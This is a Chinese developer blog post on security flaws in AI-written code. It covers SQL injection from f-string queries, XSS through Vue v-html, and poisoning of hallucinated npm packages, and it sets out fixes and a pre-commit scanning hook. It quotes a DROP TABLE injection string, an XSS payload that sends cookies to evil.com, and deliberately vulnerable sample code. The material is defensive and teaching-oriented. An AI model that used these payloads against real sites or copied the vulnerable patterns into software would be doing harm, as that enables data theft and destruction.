AI 写的代码让我差点被黑——3 个安全坑你一定踩过

0 阅读13分钟

上周四凌晨两点,我的服务器监控突然报警。

Grafana 面板上,数据库查询量飙升到平时的 40 倍。日志里全是畸形的 SQL 语句——有人在尝试注入攻击。

我顺着注入点一路追溯,发现那段有漏洞的代码,是两天前 Claude 帮我写的一段数据库查询

AI 代码安全这件事,我一直觉得是"别人的事"。直到那天晚上,我盯着屏幕上一行行攻击日志,冷汗从后背冒出来——如果没有监控,数据库可能已经被拖了

这不是危言耸听。我后来复盘了过去三个月用 AI 写的所有代码,发现了三个几乎人人都会踩的安全坑。今天全部摊开来讲,附检测方法和防护方案。看完之后,建议你也回去扫一遍自己的代码。


本文目录

  • 🔓 01 SQL 注入——AI 最爱写字符串拼接
  • 🕸️ 02 XSS 跨站脚本——v-html 是重灾区
  • 💣 03 依赖投毒——AI 推荐的包可能是炸弹
  • 🛡️ 04 我的安全防线——铁律 + 人格 + 自动扫描

🔓 01 SQL 注入——AI 最爱写字符串拼接

回到那天晚上的场景。

我在做一个用户搜索接口——根据用户名模糊查找。需求很简单,三句话就能跟 Claude 说清楚。Claude 给我写了一段 FastAPI 代码,看起来干净利落:

# search_users.py — Claude 生成的代码
@app.get("/api/users/search")
async def search_users(keyword: str):
    # 看起来没问题对吧?
    query = f"SELECT * FROM users WHERE name LIKE '%{keyword}%'"
    results = await db.execute(query)
    return results

六行代码,功能完整,跑起来也没报错。我当时赶进度,看了一眼觉得没问题,直接 merge 进了主分支。

问题就出在那个 f-string。

攻击者只需要在搜索框输入 '; DROP TABLE users; --,这段 SQL 就会变成:

SELECT * FROM users WHERE name LIKE '%'; DROP TABLE users; --%'

整张用户表,一条命令就没了。

这不是什么高深的攻击手段。SQL 注入是 OWASP Top 10 排名第一的 Web 安全漏洞,已经存在二十多年了。但 AI 依然在写这种代码。为什么?

因为 AI 的训练数据里充斥着教程代码、Stack Overflow 的快速解答、GitHub 的 demo 项目。这些代码的目标是"跑起来",不是"安全"。AI 学到的是"最常见的写法",而不是"最安全的写法"。字符串拼接 SQL 就是最常见的写法——简短、直观、初学者友好。

⚠️ 你回忆一下,自己有没有让 AI 帮你写过数据库查询?有没有检查过它用的是参数化查询还是字符串拼接?如果答案是"没检查"——你可能和两周前的我一样,埋了一颗定时炸弹在线上。

正确的写法是什么?参数化查询。把用户输入和 SQL 语句分离,让数据库引擎自己处理转义:

# search_users.py — 修复后的代码
@app.get("/api/users/search")
async def search_users(keyword: str):
    # 参数化查询——用户输入永远不会成为 SQL 的一部分
    query = text("SELECT * FROM users WHERE name LIKE :keyword")
    results = await db.execute(query, {"keyword": f"%{keyword}%"})
    return results

就多了一个 :keyword 占位符。攻击者输入的任何内容都会被当作纯文本处理,不会被当作 SQL 执行。

这个坑是怎么被发现的?qflow 的 12 人格 Review 系统。

那天晚上我紧急修复后,回去复盘了整个流程。那段代码是在一次赶进度时写的,跳过了 qflow 的 Code Review 环节直接上线。如果当时走了 Review 流程,qflow 12 个内置人格中的安全专家(SEC 人格)会自动扫描所有数据库操作,字符串拼接 SQL 会被立刻标红

教训:流程偷懒一次,凌晨两点被叫起来一次。


评论区选一个(我先说我选 A):

你有没有被 AI 写的代码坑过?

  1. A. 有,被注入攻击
  2. B. 有,依赖问题
  3. C. 有,其他安全问题
  4. D. 还没有(但怕)

我选 A。凌晨两点被监控吵醒的感觉,不想再体验第二次。


SQL 注入只是开胃菜,下一个更隐蔽


🕸️ 02 XSS 跨站脚本——v-html 是重灾区

修完 SQL 注入那天,我决定做一次全面的安全审查。不查不知道,一查吓一跳。

前端项目里有一个富文本展示组件,也是 AI 帮我写的。功能是渲染用户发布的文章内容,用了 Vue 的 v-html 指令。

<!-- ArticleContent.vue — AI 生成的组件 -->
<template>
  <div class="article-body">
    <!-- 危险:直接渲染用户提交的 HTML -->
    <div v-html="article.content"></div>
  </div>
</template>

Vue 官方文档明确写着:"v-html 的内容直接作为普通 HTML 插入——不会作为 Vue 模板进行编译。永远不要把用户提供的内容作为 v-html 使用。"

但 AI 不读文档。或者说,AI 读了无数份文档,但它选择了"最简洁的实现"而不是"最安全的实现"。

攻击者可以在文章内容里嵌入这样的代码:

<img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">

任何访问这篇文章的用户,Cookie 会被悄无声息地发送到攻击者的服务器。登录态、Session、Token——全部泄露。用户甚至不会看到任何异常。

更可怕的是,XSS 的攻击面比 SQL 注入大得多。SQL 注入需要找到特定的数据库查询入口,但 XSS 只需要找到任何一个"不转义用户输入"的地方。评论区、个人简介、文章标题、搜索结果高亮——只要有用户输入的地方,就有 XSS 的可能

修复方案有两层:

// ArticleContent.vue — 安全版本
import DOMPurify from 'dompurify'

// 第一层:用 DOMPurify 过滤所有危险标签和属性
const sanitizedContent = computed(() =>
  DOMPurify.sanitize(article.value.content, {
    ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'li'],
    ALLOWED_ATTR: ['class']
  })
)

// 第二层:CSP 响应头兜底,禁止内联脚本执行
// Content-Security-Policy: script-src 'self'

两道防线,缺一不可。DOMPurify 在前端过滤,CSP 在浏览器层面兜底。就算 DOMPurify 被绕过(理论上可能),CSP 也会阻止脚本执行。

AI 写代码的默认立场是"让功能跑起来",不是"让功能安全地跑起来"。这两者之间的差距,就是你半夜被叫起来的距离。

我扫了一下整个前端项目,一共找到了 7 处 v-html,其中 4 处渲染的是用户输入。全部改成了 DOMPurify 过滤。


再来一个选择题(我选 B + C 组合拳):

你怎么审查 AI 写的代码?

  1. A. 逐行看
  2. B. 跑测试
  3. C. 用安全扫描工具
  4. D. 不审查直接用

选 D 的朋友,认真的吗?不是我吓你,你可能比我更需要看第四节的安全防线方案。


💣 03 依赖投毒——AI 推荐的包可能是炸弹

前两个坑好歹是"AI 写了不安全的代码"。第三个坑更邪门——AI 推荐了一个根本不存在的包,然后有人抢注了它

这不是我的亲身经历,但差点就是。

上个月我在做一个日志格式化工具,问 Claude 有没有好用的 npm 包可以把 JSON 日志渲染成彩色表格。Claude 给了我三个推荐,其中一个叫 json-log-prettifier

我去 npm 上搜了一下——没有这个包

如果我没搜、直接跑了 npm install json-log-prettifier,会怎样?那时候什么也不会发生,因为包不存在,安装会失败。

但如果有攻击者也注意到了这一点呢?

这就是依赖投毒的攻击逻辑:

Step 1 AI 幻觉出一个不存在的包名 Step 2 攻击者批量监控 AI 推荐的幻觉包名 Step 3 抢注同名包,植入恶意代码(窃取环境变量、反弹 Shell) Step 4 下一个听信 AI 推荐的开发者执行 install Step 5 npm install 触发 postinstall 脚本,恶意代码在本地执行

这不是理论推演。2025 年就有安全研究员做过实验:他让 ChatGPT 针对 20 个编程任务推荐 npm 包,其中有 5 个包是幻觉出来的。他全部抢注后,在三个月内收到了超过 15000 次安装请求

⚠️ 想想看:你每次让 AI 推荐一个库,有没有去 npm/PyPI 上确认过这个库真的存在?有没有检查过它的 Stars、最后更新时间、维护者信息?大多数人不会。我以前也不会。

Python 生态也一样。PyPI 上的 typosquatting(名称相似投毒)更猖獗。AI 推荐 python-docx,你手滑打成 python-docxx,可能就中招了。

我现在的做法是三查原则

📌 AI 推荐依赖「三查原则」——值得截图保存

一查存在:去 npm/PyPI 官网搜包名,确认存在且不是上周刚创建的

二查活跃:看 GitHub Stars、最后 commit 时间、下载量。Stars < 100 且半年没更新的要警惕

三查内容:看 package.json 有没有 postinstall 脚本,看源码有没有 eval()、Buffer.from() 等可疑操作

三步不超过两分钟。但能帮你躲过一次供应链攻击。


三个坑讲完了,接下来讲怎么系统性防住


🛡️ 04 我的安全防线——铁律 + 人格 + 自动扫描

被那次 SQL 注入事件教育完,我花了整整一个周末重新设计了 AI 代码的安全审查流程。不是"以后注意一下"这种空话——是写进代码和配置里的硬约束。

我的安全防线分三层:

第一层:CLAUDE.md 安全铁律

如果你看过这个系列的前几篇文章,你知道 CLAUDE.md 是 Claude Code 的"宪法"——写在里面的规则,AI 每次对话都会加载。我在 CLAUDE.md 的铁律区加了三条安全硬约束:

铁律 19  敏感文件保护:禁止将 .env、credentials、*.key、API Key 等敏感文件提交到 git 或写入代码中
安全规则 A  所有数据库操作必须使用参数化查询/ORM,禁止字符串拼接 SQL
安全规则 B  所有用户输入在前端渲染前必须经过 DOMPurify 过滤,禁止直接 v-html 渲染用户内容
安全规则 C  所有第三方依赖安装前必须确认包真实存在且活跃维护,禁止 AI 推荐即安装

这些规则不是建议,是硬约束。AI 在生成代码时会自动遵守。如果它试图写字符串拼接 SQL,铁律会强制它改用参数化查询。让 AI 的默认行为就是安全行为

第二层:qflow 安全人格 Review

铁律管的是 AI"写"代码的阶段。但代码写完之后呢?

我用 qflow 搭了一套多人格 Code Review 系统。qflow 内置 12 个专业人格,每个人格专注一个领域。跟安全相关的主要是两个:

SEC(安全专家) 扫描 SQL 注入、XSS、CSRF、路径穿越、敏感信息泄露等 OWASP Top 10 漏洞。每次代码提交前自动触发。

QA(质量保证) 审查代码的边界条件、异常处理、输入校验。和 SEC 形成互补——SEC 找漏洞,QA 找"虽然不是漏洞但可能导致漏洞"的代码。

qflow 的 AdversarialReview(对抗性评审)更狠——它会让一个人格扮演攻击者,专门找其他人格通过的代码的漏洞。相当于红蓝对抗,只不过两边都是 AI。

回到那次 SQL 注入事件——如果当时走了 qflow Review,SEC 人格在第一轮就会拦截那段字符串拼接代码。问题根本不会到线上。

第三层:Routines 自动安全扫描

人格 Review 依赖你主动触发。万一又赶进度跳过了怎么办?

我在 Claude Code 的 Hooks 里配了一个 Git pre-commit 钩子。每次 git commit 之前,自动运行安全扫描脚本:

# 检查 1:SQL 字符串拼接
grep -rn 'f".*SELECT.*{.*}.*"' --include="*.py" && echo "BLOCKED: SQL 拼接" && exit 1

# 检查 2:v-html 未过滤
grep -rn 'v-html=' --include="*.vue" | grep -v 'sanitize\|DOMPurify' && echo "BLOCKED: v-html 未过滤" && exit 1

# 检查 3:敏感信息泄露
grep -rn 'API_KEY\|SECRET\|PASSWORD' --include="*.py" --include="*.ts" | grep -v '\.env\|os\.environ\|process\.env' && echo "BLOCKED: 硬编码密钥" && exit 1

这三个 grep 当然不能覆盖所有安全问题,但能拦住最常见的。配合 Bandit(Python 安全扫描)和 ESLint 的安全插件,基本能覆盖 80% 的常见漏洞。

安全不能靠自觉,得靠机制。CLAUDE.md 管生成,qflow 人格管审查,pre-commit 管兜底。三层防线,让你就算凌晨三点赶进度也不会裸奔上线。

整套方案跑了两周,拦截了 11 次安全问题。其中 6 次是 SQL 拼接,3 次是未过滤的 v-html,2 次是硬编码 API Key。每一次都是 AI 写的代码触发的。

这说明什么?**AI 在安全方面的"默认值"是不及格的。**你不能指望它自动写出安全的代码,就像你不能指望实习生第一天就知道不能把密码写在代码里一样。但你可以设好护栏,让它在护栏内写代码。

📌 AI 代码安全检查清单——值得截图保存

数据库操作:是否参数化查询?有无字符串拼接 SQL?

用户输入渲染:是否转义/过滤?v-html 有无 DOMPurify?

依赖安装:包是否真实存在?是否活跃维护?有无可疑 postinstall?

敏感信息:API Key/密码是否硬编码?.env 是否在 .gitignore 中?

权限校验:接口是否有鉴权?普通用户能否访问管理员接口?

文件操作:路径是否校验?有无路径穿越风险?


✍️ 05 写在最后

AI 编程是效率革命,但效率和安全之间有一个微妙的平衡。

AI 帮你把开发速度提升了 5 倍,但如果你不审查它的代码,那些漏洞也会以 5 倍的速度进入你的项目。以前一个人一天写 200 行代码,有漏洞顶多 200 行里找。现在一天 1000 行,每一行都可能是一个新的攻击面。

我的结论很简单:用 AI 写代码可以,但永远不要信任 AI 写的代码。

信任是给人的。给 AI 的应该是护栏、是 Review 流程、是自动化的安全扫描。让 AI 在安全的框架内全力输出,而不是让它自由发挥后祈祷不出事。

这套安全防线是 qflow 工作流的一部分。qflow 是我开源的 AI 工程化工具,除了安全人格 Review,还有任务管理、Spec 驱动开发、多人格协作等功能。感兴趣的可以去 GitHub 看看:github.com/Pangu-Immortal/qflow


⚠️ 下篇预告: 讲完了怎么防御,下一篇我要讲怎么进攻——用 AI 做渗透测试和安全审计。我花了一周时间让 Claude 扮演红队,对我的全部项目做了一次完整的安全审计。结果比我预想的触目惊心。下篇见。


最后一个问题(我选 C):

你觉得 AI 代码安全最大的风险是?

  1. A. SQL 注入
  2. B. 依赖投毒
  3. C. 敏感信息泄露
  4. D. 逻辑漏洞

我选 C。SQL 注入和 XSS 好歹能扫出来,但 AI 把你的 API Key 写进代码再 push 到公开仓库——这事儿防不胜防。你的 .env 文件在 .gitignore 里吗?现在就去检查一下。


AI 创业 100 天 · 系列文章

  • 第一篇:提示词工程与上下文工程
  • 第二篇:别再装 Skill 了
  • 第三篇:我给 AI 接了 17 个 MCP
  • 第四篇:Opus 4.7 + Routines 接了 231 个工具
  • 第五篇:我卸了 Cursor,代码产出反而翻了 3 倍
  • 第九篇:AI 写的代码让我差点被黑(本篇)
  • 第十篇:用 AI 做红队安全审计(下篇预告)